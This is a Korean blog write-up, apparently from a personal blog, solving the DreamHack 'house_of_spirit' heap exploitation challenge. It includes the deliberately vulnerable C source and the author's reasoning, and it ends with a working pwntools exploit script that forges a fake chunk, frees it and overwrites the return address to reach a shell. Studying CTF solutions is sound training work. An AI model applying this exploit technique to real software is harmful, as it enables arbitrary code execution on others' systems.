Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] 문제풀이(house_of_spirit) 본문

Hack/DreamHack

[System_Hacking] 문제풀이(house_of_spirit)

CIDY 2022. 8. 9. 03:21
// gcc -o hos hos.c -fno-stack-protector -no-pie
// 64-bit, partial relro, nx

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
	execve("/bin/sh", NULL, NULL);
}

int main() {
	char name[32];
	int idx, i, size = 0;
	long addr = 0;

	initialize();
	memset(name, 0, sizeof(name));
	printf("name: ");
	read(0, name, sizeof(name)-1);

	printf("%p: %s\n", name, name);
	while(1) {
		printf("1. create\n");
		printf("2. delete\n");
		printf("3. exit\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				if(i > 10) {
					return -1;
				}
				printf("Size: ");
				scanf("%d", &size);

				ptr[i] = malloc(size);

				if(!ptr[i]) {
					return -1;
				}
				printf("Data: ");
				read(0, ptr[i], size);
				i++;
				break;
			case 2:
				printf("Addr: ");
				scanf("%ld", &addr);

				free(addr);
				break;
			case 3:
				return 0;
			default: 
				break;
		}
	}

	return 0;
}


create -> 내가 보낸 사이즈만큼 동적할당, 그 사이즈만큼 데이터 적을 수 있음 포인터 묶음이 10개긴 한데 oob생각하면 그 이상도 가능할듯 함.

delete -> 내가 입력한 주소에 있는 청크 해제

exit -> 리턴해버림

그리고 초반에 name에 뭐 입력할 수 있는데 입력값을 name의 주소와 같이 출력해줌 -> 스택 주소 제공

우선 스택 주소를 제공해줬으니 그걸 쓰라는 말이다. name이 괜히 있을 리도 없다. 거기에 tcache리스트를 연결할 수 있으면 좋을 것 같다.

우선 name을 하나의 청크로 인식하고 해제하도록 하기 위해서는 헤더가 있어야 한다.

(원하는 위치에 청크를 할당하기 위해서는 연결 리스트에 원하는 주소(청크의 데이터 위치)를 써 주는 것으로 되지만, 해제가 정상적으로 이루어지기 위해서는 헤더를 비롯해 진짜 청크 구조가 되어야 한다.)

따라서, 다음과 같은 과정으로 풀 수 있을 것 같다.

1. name에 청크의 헤더를 써 준다.
2. name을 해제한다 (해제하는 주소는 데이터가 쓰이는 주소를 적어야 하므로 실제 출력해주는 주소 + 헤더크기(0x10))
3. 헤더에 써 준 사이즈 - 0x10을 할당해준다.(그래야 name을 데려옴) 이 때 데이터는 내가 할당한다고 한 size만큼 쓸 수 있으므로 ret주소를 덮을 수 있다.

from pwn import *

p = remote("host3.dreamhack.games", 8381)
#p = process("./house_of_spirit")
e = ELF("./house_of_spirit")

def Create(size, data):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b": ", str(size))
    p.sendafter(b": ", data)

def Delete(addr):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b": ", str(addr))

def Exit():
    p.sendlineafter(b"> ", b"3")

name = p64(0x0)
name += p64(0x50)

p.sendafter(b": ", name)
p.recvuntil(b"0x")
name_addr = int(p.recvuntil(b":")[:-1], 16)
print(hex(name_addr))

data = b"A" * 0x20
data += b"B" * 0x8
data += p64(e.sym['get_shell'])

Delete(name_addr + 0x10)
Create(0x40, data)
Exit()

p.interactive()



flag